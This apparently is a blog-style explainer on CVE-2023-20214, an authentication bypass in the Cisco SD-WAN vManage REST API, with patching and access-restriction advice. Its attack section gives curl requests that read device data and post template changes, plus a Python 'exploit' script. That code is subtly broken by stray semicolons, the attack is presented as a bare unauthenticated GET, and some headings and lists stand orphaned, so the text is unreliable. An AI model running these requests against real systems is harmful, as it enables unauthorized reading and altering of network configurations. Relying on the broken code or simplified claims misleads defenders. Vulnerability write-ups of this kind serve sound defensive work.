CVE-2023-20214 - How a REST API Flaw in Cisco SD-WAN vManage Exposed Configurations

In June 2023, Cisco announced a major vulnerability—CVE-2023-20214—in its SD-WAN vManage software REST API. This isn’t just another hard-to-exploit bug. For organizations using Cisco’s SD-WAN, this issue means an unauthenticated, remote attacker could steal sensitive information or change configuration settings, all without logging in.

Let’s break down everything you need to know about this vulnerability, and what you can do to stay safe.

What is CVE-2023-20214?

CVE-2023-20214 is a vulnerability in the request authentication validation of the REST API in Cisco SD-WAN vManage software. The bug lets someone on the internet (no login needed) to access or even minimally modify configuration data on vManage instances just by making a special API request.

> Quick Facts
> - CVE: CVE-2023-20214
> - Severity: High
> - Impact: Unauthorized read and limited write access
> - Component: SD-WAN vManage's REST API
> - Not affected: Web UI and CLI

Why is This Bad?

Normally, all requests to change or fetch config data should require strict authentication—think username/password, tokens, secure session, the entire lock-and-key setup.

But here’s what went wrong

> The REST API did not validate requests strictly enough.

> This means a remote attacker could

> - Read valuable settings and configuration
> - Make limited (but sometimes critical) changes
> - Never need a valid account or token

How Attackers Exploit CVE-2023-20214

The attacker just needs network access exposed to your vManage REST API. Then they craft an HTTP request that looks valid to the API—even though they’re not authenticated.

Basic Attack Example

Let’s see what an attack could look like with simple curl command-line requests.

Suppose the vManage API endpoint is https://vmanage.example.com:port/dataservice/device.

Read Device Configuration

curl -k 'https://vmanage.example.com:port/dataservice/device'

If unpatched, the above request could spill out a list of devices and internal configuration, all with zero authentication.

Limited Write Example

curl -k -X POST \
  'https://vmanage.example.com:port/dataservice/template/config/input'; \
  -H 'Content-Type: application/json' \
  --data-binary '{"templateId":"TEMPLATE_ID","deviceId":"DEVICE_ID","input":{}}'

If the endpoint isn’t patched, an attacker could modify certain fields that impact device behavior.

CLI: No risk through direct SSH or command-line.

- It’s only the REST API—but unfortunately, this is often enabled for automation and integrations.

Cisco PSA:

Cisco vManage REST API Authentication Bypass (CVE-2023-20214)

National Vulnerability Database Entry:

NVD Details for CVE-2023-20214

REST API enabled and accessible from potentially untrusted networks (including the internet or DMZ)

Check your vManage version and review the Cisco security advisory for fixed releases.

Upgrade vManage:

Patch immediately per Cisco’s instructions.

Restrict REST API Access:

Limit API endpoints to trusted devices or management VLANs only. Use firewall or access-list controls.

Sample Python Exploit (Educational Purposes Only!)

Here’s a simple exploit you can use in lab environments only to check if your vManage is still vulnerable:

import requests
import urllib3

urllib3.disable_warnings()

target = 'https://vmanage.example.com:port';
endpoint = '/dataservice/device'
url = target + endpoint

response = requests.get(url, verify=False)
print(response.status_code)
print(response.text)

What Does This Mean in Plain English?

If you have Cisco SD-WAN vManage, patch immediately. This is a classic "door left unlocked" problem due to insufficient API request validation. Attackers can see and tweak configuration data, possibly affecting your SD-WAN network’s reliability and security.

Final Thoughts

REST APIs are great for automation—but they’re a massive target for attackers. CVE-2023-20214 shows why keeping systems up to date and limiting access is absolutely necessary. If you use Cisco SD-WAN vManage, double-check your software and your network exposure *now*.

If you're unsure, consult with your Cisco support representative or your security team. Don’t wait—exposure is easy to test and the risk is high.

Timeline

Published on: 08/03/2023 22:15:11 UTC
Last modified on: 10/16/2023 16:35:25 UTC